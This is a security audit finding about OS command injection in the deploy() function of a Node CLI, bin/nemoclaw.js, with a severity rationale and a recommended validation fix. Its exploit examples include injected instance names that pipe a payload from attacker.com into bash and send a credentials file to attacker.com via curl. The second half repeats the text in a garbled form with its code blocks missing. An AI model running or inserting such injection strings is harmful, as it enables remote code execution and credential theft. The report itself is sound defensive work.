MEDIUM: Unvalidated Instance Name in deploy() Shell Commands
| Field |
Value |
| Severity |
Medium |
| CWE |
CWE-78 (OS Command Injection) |
| File |
bin/nemoclaw.js |
| Lines |
130, 140, 152, 153, 162, 166, 170, 176 |
| Function |
deploy(instanceName) |
| Status |
Active |
Description
The deploy() function receives instanceName directly from process.argv (line 402: const [cmd, ...args] = process.argv.slice(2), dispatched at line 417: deploy(args[0])). This value is interpolated into 8 shell commands without any validation or escaping, despite a shellQuote() utility being defined in the same file (line 31).
If an operator were to pass a crafted instance name containing shell metacharacters, it would be interpreted by the shell.
Why Medium, Not Critical
This is a defense-in-depth input validation issue, not a remotely exploitable vulnerability:
process.argv is operator-controlled input — the person typing nemoclaw deploy <name> is the same person who would be "attacking" themselves. Standard CLI tools (git, docker, kubectl, ssh) also pass argv into shell commands without re-validating.
- No remote attack vector — instance names are not received from network input, APIs, databases, or untrusted users. The only input path is the local command line.
- CI/CD risk is theoretical — while a pipeline could pass unsanitized input as an instance name, this would require the pipeline itself to be compromised, at which point the attacker already has code execution.
- The fix is still worthwhile — adding input validation is cheap, prevents accidental breakage from typos, and follows defense-in-depth principles.
Vulnerable Code
// bin/nemoclaw.js — deploy() function
const name = instanceName; // line 108 — direct from process.argv, NO validation
// Line 130 — injected into brev create command
run(`brev create ${name} --gpu "${gpu}"`);
// Line 140 — injected into ssh command
execSync(`ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no ${name} 'echo ok' 2>/dev/null`, ...);
// Line 152 — injected into ssh mkdir
run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'mkdir -p /home/ubuntu/nemoclaw'`);
// Line 153 — injected into rsync
run(`rsync -az --delete ... ${name}:/home/ubuntu/nemoclaw/`);
// Line 162 — injected into scp
run(`scp -q -o StrictHostKeyChecking=no -o LogLevel=ERROR "${envTmp}" ${name}:/home/ubuntu/nemoclaw/.env`);
// Line 166 — injected into ssh setup
runInteractive(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);
// Line 170 — injected into ssh services
run(`ssh -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);
// Line 176 — injected into ssh connect
runInteractive(`ssh -t -o StrictHostKeyChecking=no -o LogLevel=ERROR ${name} 'cd /home/ubuntu/nemoclaw && ...'`);
Exploit Example
# Arbitrary command execution via crafted instance name:
nemoclaw deploy 'foo; curl attacker.com/payload | bash; echo '
# Command substitution:
nemoclaw deploy '$(whoami > /tmp/pwned)'
# In CI/CD where instance name comes from environment:
export INSTANCE_NAME='test; cat ~/.nemoclaw/credentials.json | curl -d @- attacker.com'
nemoclaw deploy "$INSTANCE_NAME"
Inconsistency
The shellQuote() function exists in the same file at line 31 and is correctly used in the uninstall() function (line 216). It is NOT used in deploy().
// Line 31 — available but unused in deploy()
function shellQuote(value) {
return `'${String(value).replace(/'/g, `'\\''`)}'`;
}
// Line 216 — correctly used in uninstall()
const forwardedArgs = args.map(shellQuote).join(" ");
Additional Issues in deploy()
The function has several compounding security issues:
StrictHostKeyChecking=no on all SSH commands (lines 140, 152, 153, 162, 166, 170, 176) — vulnerable to MITM, should use accept-new
- API key in process args (line 91 in
setupSpark(), a separate CLI command) — visible in ps
- Credentials in predictable temp file (line 160) —
Date.now() is guessable, no cleanup on crash
- Multiple secrets written to
.env (lines 155-161) — NVIDIA_API_KEY, GITHUB_TOKEN, TELEGRAM_BOT_TOKEN all written to a temp file with only Date.now() uniqueness
Recommended Fix
Add input validation at the top of deploy(), before any shell commands:
async function deploy(instanceName) {
if (!instanceName) {
console.error(" Usage: nemoclaw deploy <instance-name>");
process.exit(1);
}
// Validate instance name — alphanumeric, hyphens, dots only
if (!/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/.test(instanceName)) {
console.error(` Invalid instance name: ${instanceName}`);
console.error(" Must match: letters, digits, hyphens, dots, underscores");
process.exit(1);
}
const name = instanceName;
// ... rest of function
Alternatively, use shellQuote(name) at every interpolation site, but input validation is the stronger defense since instance names have a natural restricted character set.
Risk Assessment
- Impact: Command execution with the privileges of the user running
nemoclaw deploy — but the user already has those privileges
- Exploitability: Requires the operator themselves to pass a malicious instance name via CLI, or a compromised CI/CD pipeline to inject it — both scenarios imply pre-existing access
- Attack surface: Local CLI tool with no remote input path. The
deploy() function does connect to remote hosts, but the instance name itself comes only from local process.argv
- Mitigating factors: This is a standard CLI pattern — virtually all CLI tools interpolate argv into shell commands without re-validation. The risk is primarily accidental breakage from special characters, not intentional exploitation
MEDIUM: Unvalidated Instance Name in
deploy()Shell Commandsbin/nemoclaw.jsdeploy(instanceName)Description
The
deploy()function receivesinstanceNamedirectly fromprocess.argv(line 402:const [cmd, ...args] = process.argv.slice(2), dispatched at line 417:deploy(args[0])). This value is interpolated into 8 shell commands without any validation or escaping, despite ashellQuote()utility being defined in the same file (line 31).If an operator were to pass a crafted instance name containing shell metacharacters, it would be interpreted by the shell.
Why Medium, Not Critical
This is a defense-in-depth input validation issue, not a remotely exploitable vulnerability:
process.argvis operator-controlled input — the person typingnemoclaw deploy <name>is the same person who would be "attacking" themselves. Standard CLI tools (git,docker,kubectl,ssh) also pass argv into shell commands without re-validating.Vulnerable Code
Exploit Example
Inconsistency
The
shellQuote()function exists in the same file at line 31 and is correctly used in theuninstall()function (line 216). It is NOT used indeploy().Additional Issues in
deploy()The function has several compounding security issues:
StrictHostKeyChecking=noon all SSH commands (lines 140, 152, 153, 162, 166, 170, 176) — vulnerable to MITM, should useaccept-newsetupSpark(), a separate CLI command) — visible inpsDate.now()is guessable, no cleanup on crash.env(lines 155-161) — NVIDIA_API_KEY, GITHUB_TOKEN, TELEGRAM_BOT_TOKEN all written to a temp file with onlyDate.now()uniquenessRecommended Fix
Add input validation at the top of
deploy(), before any shell commands:Alternatively, use
shellQuote(name)at every interpolation site, but input validation is the stronger defense since instance names have a natural restricted character set.Risk Assessment
nemoclaw deploy— but the user already has those privilegesdeploy()function does connect to remote hosts, but the instance name itself comes only from localprocess.argv